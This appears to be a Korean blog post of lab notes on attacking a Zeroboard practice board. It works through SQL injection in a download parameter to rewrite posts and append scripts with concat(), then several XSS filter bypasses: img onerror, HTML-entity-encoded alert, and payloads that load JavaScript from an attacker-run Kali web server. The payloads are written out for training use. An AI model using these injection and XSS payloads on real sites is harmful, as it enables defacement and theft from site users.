웹해킹시간 제로보드취약점 기존스크립트유지

Web hacking|2020. 12. 1. 11:15

이미지 다운로드를 클릭하면 다운로드 횟수가 증가하는걸보고 업데이트 유추

 

 

 

이미지다운첫번쨰꺼를 누르고버프수트로

잡았을떄 filenum=1 이거를 2로바꾸면 첨부파일의 두번쨰 꺼가 보이게되는것을보고

filenum=1이서버쿼리의 일부분이되는걸알수있다

 

 

 

 

 

 

 

모든게시글이 같은 내용으로 수정이된다. 따라서 내가 지정한 게시글만 수정되도록한다.

concat함수를 이용해 그전에 주입했던 스크립트들을 살려두고 또 하나의 스크립트를 넣기위해

 

(웹해킹 사이트말고 제로보드사이트.)

 

 

1 대신

1=10,memo='<script>alert("xsssdkfhweklf")</script>'+where+no=64%23 을 입력

 

 

 

update board set

download1=10,memo='<script>alert("xss")</script>'+where+no=64%23=download1=10,memo='<script>alert('xss')</script>'+where+no=64%23+1

 

 

 

 

 

 

1=10,memo='<script>alert("xss")</script>'+where+no=70%23 입력

요런식ㅇ으로삽입

 

 

 

 

성공!!!

 

 

 

concat 함수사용

 

1=10,memo=concat(memo,'<script>alert("attack")</script>')+where+no=64%23

콘캣 함수 특징때매 변경

1=10,memo=concat(memo,'<script>alert\(\"attack\")</script>')+where+no=64%23

 

 

update board set

download1=10,memo='<script>alert("xss")</script>'

+where+no=20%23=download1=10,memo='<script>alert("xss")</script>'+where+no=20%23+1

 

 

이거를

 

update board set

download1=10,memo,'<script>alert("attack")</script>'

+where+no=20%23=download1=10,memo='<script>alert("xss")</script>'+where+no=20%23+1

 

 

 

 

합친당!

 

 

 

1=10,memo,'<script>alert(\"attack\")</script>'

+where+no=20%23

 

 

update board set download1=10,memo=concat(memo,'<script>alert("xss")</script>

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

1=10,memo=concat(memo,'<script>alert\(\"attack\")</script>')+where+no=64%23

주입.

 

 

원래 기존내용 유지한체로 스크립트를 삽입.

 

 

 

 

 

 

 

두개가뜸!!

 

기존꺼도남기고

 

 

 

 

 

 

 

 

concat 은 데이터베이스 내장함수로 언제든 사용이가능하지만

update 같은것은 만든사람이 사용하지않았으면 sql은 불가능한것이다.

 

'

 

 

 

 

 

 

 

 

 

-------------결론-------------------------

 

 

 

1=10,memo=concat(memo,'<script>alert(\"attack\")</script>')+where+no=64%23

주입.

 

update board set download1=10,memo='<script>alert('aa')</script>'

 

그전에했던것은 이거라면

주입이됬을때는

concat에 그전에 했던거와 합쳐서

 

update board set download1=10,memo=concat(memo,'<script>alert("attack")</script>

 

데이터베이스 내부에서는 이렇게바뀐다고생각하면된다

concat은 앞에했던 memo 스크립트넣은거와 지금주입하는 스크립트를 합치는 것이라

그전에있던 내용이 사라지지않고 적용이된것이다

 

 

' 안에 "넣은거면 원래는 \해도되고 안해도된다.

 

 

 

memo는 칼럼!

 

\ 이것은 이거 다음에 오는 문자를 그냥 말그대로 문자라고 쓰겠다.

\"이것은 " 문자로나타낸다생각하면댄다.

 

\" 간장게장 \"

이것은 간장게장이라고 생각하셈

 

 

 

여기서 또

1=10,memo=concat(memo,'<script>alert(\"간장게장\")</script>')+where+no=64%23

 

주입하면

그전에 햇던것에 추가가되서 3개의 문구가나온다

 

 

그럼 memo(1번스크립트,2번스크립트) 그리고 스크립트추가 이런식으로 생각하면된다!!!!!!!!

 

 

 

 

 

 

 

 

--------------------------------------------------------------------------------------------------------

 

 

 

 

다음문제

 

 

 

 

 

 

 

 

-------------------------------------------------------------------------------------

 

 

script는 사용불가 하지만 oneerror/alert 함수사용가능

 

 

 

 

 

 

 

 

 

 

원래는 스크립트만으로 공격이 불가능했다

<script>alert("a")</script>

이미지 삽입 태그를 이용해,

 

 

 

이미지 태그 를 악용한다

 

 

 

 

사진의 소스를 봤을떄

 

<img src="data/mjc/11.png" onclick="window.open(this.src)">

 

이태그를 악용한다 현재태그에있는 src를 새창에 뛰우겠다.

 

 

<img src="data/mjc/11.png" onclick="window.open(this.src)">

 

 

<img src=# onerror=alert('aa')>

#을주면 에러가뜬다

기본경로를 #으로 하면 에러가뜬다

이에러가 떳을떄 뒤에것을 출력한다는 의미.

 

 

 

 

----------------------------------------------------------------------------------------------------------

 

 

 

2.script는 사용 불가, alert문자열이 필터링이된경우,.

 

Q&A Board에서

 

 

 

 

 

 

 

 

 

여기를가서

 

 

 

<img src=# onerror=alert('aa')>

 

<img src=#여기까지는되는데

onerror는 되지않았다

 

오류가 출력이되지않는다는의미

 

 

 

 

 

 

 

그래서

alert('aa')

애를

 

html encoding한다.

 

 

alert('aa')

 

 

 

 

 

 

 

 

 

 

 

 

 

 

<img src=# onerror=alert('aa')>

 

 

<img src=# onerror=alert('aa')>

 

 

alert대신에 html 인코딩한것을 삽입한다.

 

 

 

 

 

대시보드 글쓰기에 주입.

 

 

 

 

 

 

 

성공!

 

 

 

--------------------------------------------

 

 

 

 

다음문제

 

 

 

 

 

 

 

 

------------------------

 

 

 

 

src=객체를 참조하는 태그는 사용가능 하지만 스크립트를 직접 실행하는것은 어려움

 

 

<img src=# 이

 

먹힌다는것을 알았었는데

 

이걸 악용해보고싶다.

 

 

 

 

 

 

1.칼리 리눅스 웹 서버 경로에

 

<script>alert('aa')</script>

 

파일생성

 

 

 

cd /var/www/html

vi xss.js

 

 

 

 

2.게시글에 글을 쓸떄 게시글 <img src="http://192.168.0.74/xss.js">

 

 

 

 

 

 

 

 

 

 

 

img 태그는 사용가능 하지만, script/alert 함수가 사용불가능한경우

 

Q&A Board에서

 

192.168.0.74 만 넣어도된다

 

 

 

 

<img width=0 heght=0 src=# onerror="var s=document.createElement('script'); s.src='http://192.168.0.74/xss.js'; document.getElementsByTagName('head')[0].appendChild(s);"/>

 

 

참고로 192.168.0.74/xss.js는

우리가 칼리에서 위에 vi xss.js안에

스크립트를 넣었던거를 지정하는거!

 

 

결국에는 이 문장들은.

스크립트 실행기능 전체를 외부로 지정.

 

 

차이점아는게 중요

 

 

 

 

 

 

 

 

---------------------------------

 

 

 

 

 

다음문제

 

-------------------------------------------------------------------

 

 

 

 

 

script는 사용 가능하지만 함수(alert)를 사용불가능한 경우

 

anonymous board에서 글쓰기

 

 

 

 

 

 

 

 

<script>alert('aa')</script>만약 alert함수가 실행안되면

 

<script type="text/javascript" src="http://192.168.0.81/xss.js"></script>

 

 

 

 

alert가안먹히니까 본체를 칼리에만든 xss.js에 넣는다

 

 

 

스크립트 내부의 함수만 외부로 지정.!!!!!!!!!!!!!

 

차이점아는게 중요

 

 

 

 

 

성공!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

 

 

 

 

 

 

----------------------------------------------------------------

 

 

희명이형 자바스크립트 방법

 

개발자모드에서

 

"alert('aa')".split("").map(item => "&#x" + item.charCodeAt(0).toString(16) + ";").join("")

 

 

-=----------------------------------------------

댓글()